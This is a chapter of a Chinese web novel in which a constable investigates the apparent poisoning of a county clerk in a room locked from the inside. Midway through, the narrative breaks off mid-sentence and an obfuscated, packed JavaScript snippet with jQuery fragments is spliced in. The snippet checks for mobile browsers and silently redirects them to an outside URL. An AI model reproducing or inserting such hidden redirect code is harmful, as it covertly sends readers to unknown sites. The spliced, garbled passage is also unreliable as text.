37. 郑典史之死(1)

作品:《古代刑侦日志:我的线人都是小动物

    穆青青心头猛地一惊:“什么?什么时候的事?怎么死的?”


    “就昨天夜里!死在他自己家里!”陆金二咽了口唾沫,眼神里满是惊恐,“死状……死状有些难看!赵捕头正带着人在现场勘验。江州连环杀人案告破的消息传回来后,赵捕头就猜想您这两日应该会回来,特意让我在衙门口迎您!”


    穆青青听完陆金二的汇报,心中疑窦丛生。她压下心中诸多思绪,对陆金二道:“走,我们也去现场看看!这马,就先拴在衙门口吧。”


    “具体什么情况?赵捕头怎么说?”


    穆青青向陆金二确认郑典史家的方向后,脚步不停,边走边语速极快地问道,同时大脑也在飞速运转。


    陆金二一边小跑着跟上,一边喘着气汇报:“昨天后半夜,郑家的老仆郑福发现郑典史书房还亮着灯,他想去劝说郑典史早点歇息,发现书房门紧锁着,里面却没人回应他。他觉得奇怪,转到敞开的窗户往里一看……就发现郑典史倒在书桌旁的地上,郑福原本还以为郑典史是醉倒了,赶紧喊人开门进去伺候,结果郑典史他,早已经没气了!赵捕头天未亮接到报案就赶过去了,封锁了现场,初步看了,说是……死得有点怪。”


    “怎么个怪法?”-


    “赵捕头没说太细,只让我若是迎到您了就让您赶紧过去。哦对了,他说现场很干净,门是从里面关好的,没有强行闯入的痕迹,也没有明显的打斗痕迹。郑典史身上……好像也没什么外伤,就是脸色发青,表情有点……扭曲。桌上还摊着些文书,茶也是喝了一半的。”陆金二努力回忆着赵捕头零星的交代。


    密闭空间,无外伤,表情扭曲,可能是中毒?


    青青立刻联想到郑克礼身上那特殊的香味。那甜腻底下的药草味……


    “通知仵作了吗?”


    “通知了,周仵作应该已经到了。”


    两人说话间,已疾步穿过了两条街巷。


    郑克礼的宅子位于县城东南角,是个不算大但颇为清静的两进小院,与他典史的身份倒也相符。


    此时院门外已有两名衙役把守,脸色凝重,见到穆青青来了,连忙行礼:“穆捕头!”


    “赵捕头在里面?”


    “是,赵捕头和周仵作都在书房。”


    穆青青点点头,迈步进院。


    院子不大,收拾得还算整洁,墙角种着些半枯的菊花。一个穿着褐色旧衣、瑟瑟发抖的老仆蹲在厢房门口,正是郑家的老仆郑福。


    她没急着询问老仆,径直走向正屋东侧的书房。房门开着,赵捕头高大魁梧的身影堵在门口,正低声与里面的周仵作说着什么。


    “赵捕头!”穆青青唤了一声。


    赵捕头闻声回头,见是穆青青,紧锁的眉头稍微松了松,侧身让开:“青青,你回来得正好。快来看看。”


    穆青青步入书房。


    一股难以言喻的酸腐气息扑面而来,混杂着一丝熟悉的、甜腻中带着清苦的药草气味。


    书房陈设简单,靠窗一张书桌,两侧书架,墙边一张窄榻。


    郑克礼穿着家常的靛蓝色长衫,仰面倒在书桌与墙壁之间的地上,身体略显蜷缩。正如陆金二所说,他脸色呈现出一种不正常的青灰色,双目圆睁,瞳孔散大,嘴巴微张,面容扭曲,凝固着惊愕与痛苦交织的神情。


    周仵作正蹲在尸体旁初步检查,见穆青青进来,点头示意。


    穆青青没有打扰周仵作验尸,转身继续打量起现场来。


    书桌上,一盏油灯已然熄灭,灯油耗尽。几份摊开的文书,笔墨纸砚摆放整齐。一个白瓷茶杯放在桌角,里面还有小半杯澄黄的茶汤。除此之外,桌上还放着一个打开的木匣子,里面似乎装着些信笺之类的东西。


    穆青青的目光首先落在那茶杯上:“周叔,这茶?”


    周仵作会意:“茶盏验过了,暂无异常气味,茶汤也已取样,需进一步查验。不过……”他指了指郑克礼的指甲和嘴唇,“口唇和指甲根部颜色有异,结合面色和体表初步查看,中毒身亡的可能性极大。具体是何毒物,需剖验方能确定。”


    赵捕头沉声道:“门窗我都仔细查过,门闩完好,是从里面插上的。窗户也无异状,没有人翻窗进出的痕迹。郑福说昨晚郑典史回房后,他就睡了,夜里没听到任何异常响动。”


    穆青青内心无数想法闪过。


    如果是中毒,毒物如何进入郑典史家书房的?通过饮食?那杯茶里有毒吗?


    动机是什么呢?灭口?


    她走到书桌前,仔细观察那个木匣子。匣子做工普通,里面整齐地叠放着一沓信纸,最上面几张是空白的。她小心地拿起匣子,轻轻晃动,又仔细检查匣子内外,并无夹层或特殊痕迹。


    “这匣子原本放在哪里?”她问。


    赵捕头道:“据郑福说,这匣子是郑典史常用来放书信的,平时就放在书架第二层靠右的位置。昨晚郑典史回家后,似乎心情不错,还让郑福沏了壶新茶,然后就进了书房。郑福送茶进来时,就看到郑典史正从书架上取下这个匣子,放在桌上。”


    穆青青又看向书架。书架上的书籍摆放得相当整齐,多是些律法典籍、县志杂记,也有一些诗文册子。她留意到,在原本放置木匣的位置附近,有几本书的排列顺序似乎与周围略有不协,像是被人匆忙抽阅后又放回,但没完全归位。


    “赵捕头,这几本书……”她指向那几册书。


    赵捕头走过来看了看:“嗯,我也注意到了。一本《大周刑统》,一本《丰城县志》,还有一本……《南山杂记》?都是常见的书。已经翻查过,但书页间并无夹带,也无特殊标记。”


    穆青青拿起那本《南山杂记》。这是一本记录本地风物传说的杂书,纸质泛黄,有些年头了。她随手翻阅,内容无非是些山精野怪、奇闻异事。就在她准备合上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108656|194137||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    时,目光扫过其中一页,手指顿住了。


    这一页讲的是一个本地流传的、关于“狐仙赠药”的志怪故事,大意是某书生偶遇狐仙,获赠灵药,因此家宅平安,子孙绵延。故事本身并无出奇。


    但就在这页纸的留白处,有人用与正文印刷体截然不同的蝇头小楷,写下了几句旁批。


    字迹清秀工整,笔锋却略显纤柔犹豫,与郑克礼那份端正中带些圆滑的公务字体截然不同。这更像是女子的字迹。


    旁批的内容并非注解故事,而是没头没尾的两行:


    “赠药之说,虚妄耶?然‘绵延’二字,何其刺目。我心匪石,不可转也。奈何,奈何。”


    下方还有一行更小的字,墨迹略新:


    “三年矣。‘平安’何在?”


    穆青青的心跳微微加快。她将书页小心地展示给赵捕头看。


    “赵捕头,你看这旁批。字迹不像郑典史的。内容也颇有些……幽怨自伤之意,与这志怪故事本身关联不大,倒像是借题发挥,抒写心事。”


    赵捕头凑近细看,眉头也皱了起来:“确实不像郑典史的笔迹。这……会是郑夫人的批注吗?”


    “很可能。这本书放在郑典史书房,郑夫人自然也能翻阅。”穆青青沉吟道,“但这内容……似乎透着一股长期的失望和无奈。‘三年矣’,像是一个时间标记。听说郑夫人多年无子,这‘绵延’、‘平安’的感慨,有没有可能指向子嗣之事?而‘赠药之说,虚妄耶?’她是在怀疑‘药’的效用吗?还是另有所指?”


    郑夫人柳氏与郑典礼成亲近六年了,一直无所出。这事在整个县衙都不是什么秘密。不过据说郑典史夫妻两人感情很好,柳氏无所出,郑典礼对她亦如新婚。只是柳氏自己对此事很是着急,四处找人打听生子秘方。


    “这是个重要线索。”穆青青将《南山杂记》小心收好,“我们需要请郑夫人辨认一下字迹,并解释一下这些旁批的缘由和时间。”


    她的目光再次扫过整个书房,最后落回郑克礼的尸体上。那股甜腻的药草味似乎就是从尸体方向散发出来的。她走近两步,俯身细嗅。没错,气味更浓了。


    “周叔,他身上可带有香囊之类的东西?”


    周仵作轻轻拨开郑克礼的衣襟检查:“腰间确有一个香囊。”他用戴着手套的手,小心地将那个锦缎香囊解下,递给穆青青。


    正是穆青青之前见过的那只。她接过,凑近鼻端。甜腻的香气依旧,但似乎比之前更浓郁了几分,底下的药草苦味也更明显。这香气……她绝对在别处闻到过!


    “香囊是郑夫人所绣,”赵捕头已问过,“郑典史常年佩戴,说是自己寻的安神药材。”


    穆青青小心解下香囊,收入证物袋。接着又检查书桌抽屉,在最底层角落,发现一个未使用的空香囊,以及一小包素纸裹着的药材碎屑,气味与郑克礼佩戴的相似。素纸无字,纸质细腻。